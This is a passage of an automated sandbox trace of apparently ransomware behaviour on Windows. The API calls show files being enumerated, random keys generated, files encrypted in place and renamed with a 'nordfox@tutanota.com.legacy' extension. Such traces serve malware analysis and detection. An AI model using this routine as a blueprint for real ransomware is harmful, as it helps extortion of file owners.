Flags=0x0, Size=0x80) returned 0x55a0c8 [0115.153] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578fe0 | out: hHeap=0x520000) returned 1 [0115.153] GetLastError () returned 0x0 [0115.153] SetLastError (dwErrCode=0x0) [0115.153] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d820 [0115.153] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d820 | out: hHeap=0x520000) returned 1 [0115.153] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d608 [0115.153] FindNextFileW (in: hFindFile=0x5c6598, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2c33630, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd2c33630, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd2c33630, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0115.153] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0115.154] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578de8 [0115.154] GetLastError () returned 0x0 [0115.154] SetLastError (dwErrCode=0x0) [0115.154] GetLastError () returned 0x0 [0115.154] SetLastError (dwErrCode=0x0) [0115.154] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0115.154] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578de8 | out: hHeap=0x520000) returned 1 [0115.154] GetLastError () returned 0x0 [0115.154] SetLastError (dwErrCode=0x0) [0115.154] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d7d0 [0115.154] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d7d0 | out: hHeap=0x520000) returned 1 [0115.155] FindNextFileW (in: hFindFile=0x5c6598, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2c33630, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd2c33630, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd2c33630, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0115.155] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d818 [0115.155] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5190 [0115.155] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0115.155] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5190 | out: pbBuffer=0x5c5190) returned 1 [0115.155] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34b8 | out: pbBuffer=0x5c34b8) returned 1 [0115.155] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\pass.png", dwFileAttributes=0x80) returned 1 [0115.156] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d240 [0115.156] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x5e8420 [0115.156] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d240 | out: hHeap=0x520000) returned 1 [0115.156] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\pass.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\pass.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x638 [0115.159] GetFileSizeEx (in: hFile=0x638, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=1822) returned 1 [0115.159] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x71e) returned 0x582160 [0115.159] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x71e) returned 0x582888 [0115.159] ReadFile (in: hFile=0x638, lpBuffer=0x582160, nNumberOfBytesToRead=0x71e, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x582160*, lpNumberOfBytesRead=0x2e1f9bc*=0x71e, lpOverlapped=0x0) returned 1 [0115.168] SetFilePointer (in: hFile=0x638, lDistanceToMove=-1822, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0115.168] WriteFile (in: hFile=0x638, lpBuffer=0x582888*, nNumberOfBytesToWrite=0x71e, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x582888*, lpNumberOfBytesWritten=0x2e1f9bc*=0x71e, lpOverlapped=0x0) returned 1 [0115.169] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x582160 | out: hHeap=0x520000) returned 1 [0115.169] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x582888 | out: hHeap=0x520000) returned 1 [0115.169] SetFilePointer (in: hFile=0x638, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x71e [0115.169] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0115.169] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0115.169] WriteFile (in: hFile=0x638, lpBuffer=0x5c5190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0115.170] WriteFile (in: hFile=0x638, lpBuffer=0x5c34b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0115.170] CloseHandle (hObject=0x638) returned 1 [0115.170] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5190 | out: hHeap=0x520000) returned 1 [0115.170] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0115.170] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\pass.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\pass.png"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\pass.png.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\windows10upgrade\\resources\\ux\\pass.png.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0115.173] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8420 | out: hHeap=0x520000) returned 1 [0115.173] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d818 | out: hHeap=0x520000) returned 1 [0115.173] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d608 | out: hHeap=0x520000) returned 1 [0115.173] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0115.173] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4530 [0115.173] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0115.173] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4530 | out: pbBuffer=0x5c4530) returned 1 [0115.173] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34b8 | out: pbBuffer=0x5c34b8) returned 1 [0115.173] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\NoNetworkConnectionHoverOver.png", dwFileAttributes=0x80) returned 1 [0115.174] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0115.174] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x571fc8 [0115.174] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0115.174] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\NoNetworkConnectionHoverOver.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\nonetworkconnectionhoverover.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x638 [0115.174] GetFileSizeEx (in: hFile=0x638, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=2212) returned 1 [0115.175] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8a4) returned 0x582160 [0115.175] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8a4) returned 0x582a10 [0115.175] ReadFile (in: hFile=0x638, lpBuffer=0x582160, nNumberOfBytesToRead=0x8a4, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x582160*, lpNumberOfBytesRead=0x2e1f9bc*=0x8a4, lpOverlapped=0x0) returned 1 [0115.176] SetFilePointer (in: hFile=0x638, lDistanceToMove=-2212, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0115.176] WriteFile (in: hFile=0x638, lpBuffer=0x582a10*, nNumberOfBytesToWrite=0x8a4, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x582a10*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8a4, lpOverlapped=0x0) returned 1 [0115.177] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x582160 | out: hHeap=0x520000) returned 1 [0115.177] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x582a10 | out: hHeap=0x520000) returned 1 [0115.177] SetFilePointer (in: hFile=0x638, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x8a4 [0115.177] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0115.177] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4530*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4530*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0115.177] WriteFile (in: hFile=0x638, lpBuffer=0x5c4530*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4530*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0115.178] WriteFile (in: hFile=0x638, lpBuffer=0x5c34b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0115.178] CloseHandle (hObject=0x638) returned 1 [0115.178] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4530 | out: hHeap=0x520000) returned 1 [0115.178] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0115.178] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\NoNetworkConnectionHoverOver.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\nonetworkconnectionhoverover.png"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\NoNetworkConnectionHoverOver.png.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\windows10upgrade\\resources\\ux\\nonetworkconnectionhoverover.png.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0115.180] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571fc8 | out: hHeap=0x520000) returned 1 [0115.180] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0115.180] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0115.180] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5676e8 [0115.180] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c38d0 [0115.180] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34f8 [0115.180] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c38d0 | out: pbBuffer=0x5c38d0) returned 1 [0115.180] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34f8 | out: pbBuffer=0x5c34f8) returned 1 [0115.180] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\NoNetworkConnection.png", dwFileAttributes=0x80) returned 1 [0115.181] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567580 [0115.181] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x55ba90 [0115.182] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567580 | out: hHeap=0x520000) returned 1 [0115.182] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\NoNetworkConnection.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\nonetworkconnection.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x638 [0115.182] GetFileSizeEx (in: hFile=0x638, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=2165) returned 1 [0115.182] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x875) returned 0x582160 [0115.182] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x875) returned 0x5829e0 [0115.182] ReadFile (in: hFile=0x638, lpBuffer=0x582160, nNumberOfBytesToRead=0x875, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x582160*, lpNumberOfBytesRead=0x2e1f9bc*=0x875, lpOverlapped=0x0) returned 1 [0115.191] SetFilePointer (in: hFile=0x638, lDistanceToMove=-2165, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0115.191] WriteFile (in: hFile=0x638, lpBuffer=0x5829e0*, nNumberOfBytesToWrite=0x875, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5829e0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x875, lpOverlapped=0x0) returned 1 [0115.192] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x582160 | out: hHeap=0x520000) returned 1 [0115.192] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5829e0 | out: hHeap=0x520000) returned 1 [0115.192] SetFilePointer (in: hFile=0x638, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x875 [0115.192] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0115.192] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c38d0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c38d0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0115.192] WriteFile (in: hFile=0x638, lpBuffer=0x5c38d0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c38d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0115.193] WriteFile (in: hFile=0x638, lpBuffer=0x5c34f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0115.193] CloseHandle (hObject=0x638) returned 1 [0115.193] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c38d0 | out: hHeap=0x520000) returned 1 [0115.193] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34f8 | out: hHeap=0x520000) returned 1 [0115.193] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\NoNetworkConnection.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\nonetworkconnection.png"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\NoNetworkConnection.png.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\windows10upgrade\\resources\\ux\\nonetworkconnection.png.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0115.195] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55ba90 | out: hHeap=0x520000) returned 1 [0115.195] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5676e8 | out: hHeap=0x520000) returned 1 [0115.195] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567418 | out: hHeap=0x520000) returned 1 [0115.195] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567508 [0115.195] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c38d0 [0115.195] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34f8 [0115.195] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c38d0 | out: pbBuffer=0x5c38d0) returned 1 [0115.195] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34f8 | out: pbBuffer=0x5c34f8) returned 1 [0115.195] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\NetworkIssueFAQ.mht", dwFileAttributes=0x80) returned 1 [0115.196] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567760 [0115.196] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9088 [0115.196] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567760 | out: hHeap=0x520000) returned 1 [0115.196] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\NetworkIssueFAQ.mht" (normalized: "c:\\windows10upgrade\\resources\\ux\\networkissuefaq.mht"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x638 [0115.196] GetFileSizeEx (in: hFile=0x638, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=622093) returned 1 [0115.196] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x97e0d) returned 0x6f8020 [0115.199] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x97e0d) returned 0x3129020 [0115.202] ReadFile (in: hFile=0x638, lpBuffer=0x6f8020, nNumberOfBytesToRead=0x97e0d, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x6f8020*, lpNumberOfBytesRead=0x2e1f9bc*=0x97e0d, lpOverlapped=0x0) returned 1 [0115.238] SetFilePointer (in: hFile=0x638, lDistanceToMove=-622093, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0115.238] WriteFile (in: hFile=0x638, lpBuffer=0x3129020*, nNumberOfBytesToWrite=0x97e0d, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3129020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x97e0d, lpOverlapped=0x0) returned 1 [0115.240] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6f8020 | out: hHeap=0x520000) returned 1 [0115.243] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x3129020 | out: hHeap=0x520000) returned 1 [0115.246] SetFilePointer (in: hFile=0x638, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x97e0d [0115.247] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0115.247] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c38d0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c38d0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0115.247] WriteFile (in: hFile=0x638, lpBuffer=0x5c38d0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c38d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0115.247] WriteFile (in: hFile=0x638, lpBuffer=0x5c34f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0115.247] CloseHandle (hObject=0x638) returned 1 [0115.248] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c38d0 | out: hHeap=0x520000) returned 1 [0115.248] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34f8 | out: hHeap=0x520000) returned 1 [0115.248] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\NetworkIssueFAQ.mht" (normalized: "c:\\windows10upgrade\\resources\\ux\\networkissuefaq.mht"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\NetworkIssueFAQ.mht.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\windows10upgrade\\resources\\ux\\networkissuefaq.mht.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0115.250] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9088 | out: hHeap=0x520000) returned 1 [0115.250] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567508 | out: hHeap=0x520000) returned 1 [0115.250] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567490 | out: hHeap=0x520000) returned 1 [0115.250] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x567148 [0115.250] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5190 [0115.250] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3508 [0115.250] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5190 | out: pbBuffer=0x5c5190) returned 1 [0115.250] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3508 | out: pbBuffer=0x5c3508) returned 1 [0115.250] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\marketing.png", dwFileAttributes=0x80) returned 1 [0115.251] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x567078 [0115.251] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x5e7da8 [0115.251] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567078 | out: hHeap=0x520000) returned 1 [0115.251] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\marketing.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\marketing.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x638 [0115.252] GetFileSizeEx (in: hFile=0x638, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=493) returned 1 [0115.252] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1ed) returned 0x5646a8 [0115.252] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1ed) returned 0x52f438 [0115.252] ReadFile (in: hFile=0x638, lpBuffer=0x5646a8, nNumberOfBytesToRead=0x1ed, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5646a8*, lpNumberOfBytesRead=0x2e1f9bc*=0x1ed, lpOverlapped=0x0) returned 1 [0115.253] SetFilePointer (in: hFile=0x638, lDistanceToMove=-493, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0115.253] WriteFile (in: hFile=0x638, lpBuffer=0x52f438*, nNumberOfBytesToWrite=0x1ed, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x52f438*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1ed, lpOverlapped=0x0) returned 1 [0115.253] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5646a8 | out: hHeap=0x520000) returned 1 [0115.253] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x52f438 | out: hHeap=0x520000) returned 1 [0115.253] SetFilePointer (in: hFile=0x638, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1ed [0115.253] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0115.253] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0115.254] WriteFile (in: hFile=0x638, lpBuffer=0x5c5190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0115.254] WriteFile (in: hFile=0x638, lpBuffer=0x5c3508*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3508*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0115.254] CloseHandle (hObject=0x638) returned 1 [0115.254] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5190 | out: hHeap=0x520000) returned 1 [0115.254] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3508 | out: hHeap=0x520000) returned 1 [0115.255] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\marketing.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\marketing.png"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\marketing.png.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\windows10upgrade\\resources\\ux\\marketing.png.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0115.257] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7da8 | out: hHeap=0x520000) returned 1 [0115.257] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567148 | out: hHeap=0x520000) returned 1 [0115.257] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556bf0 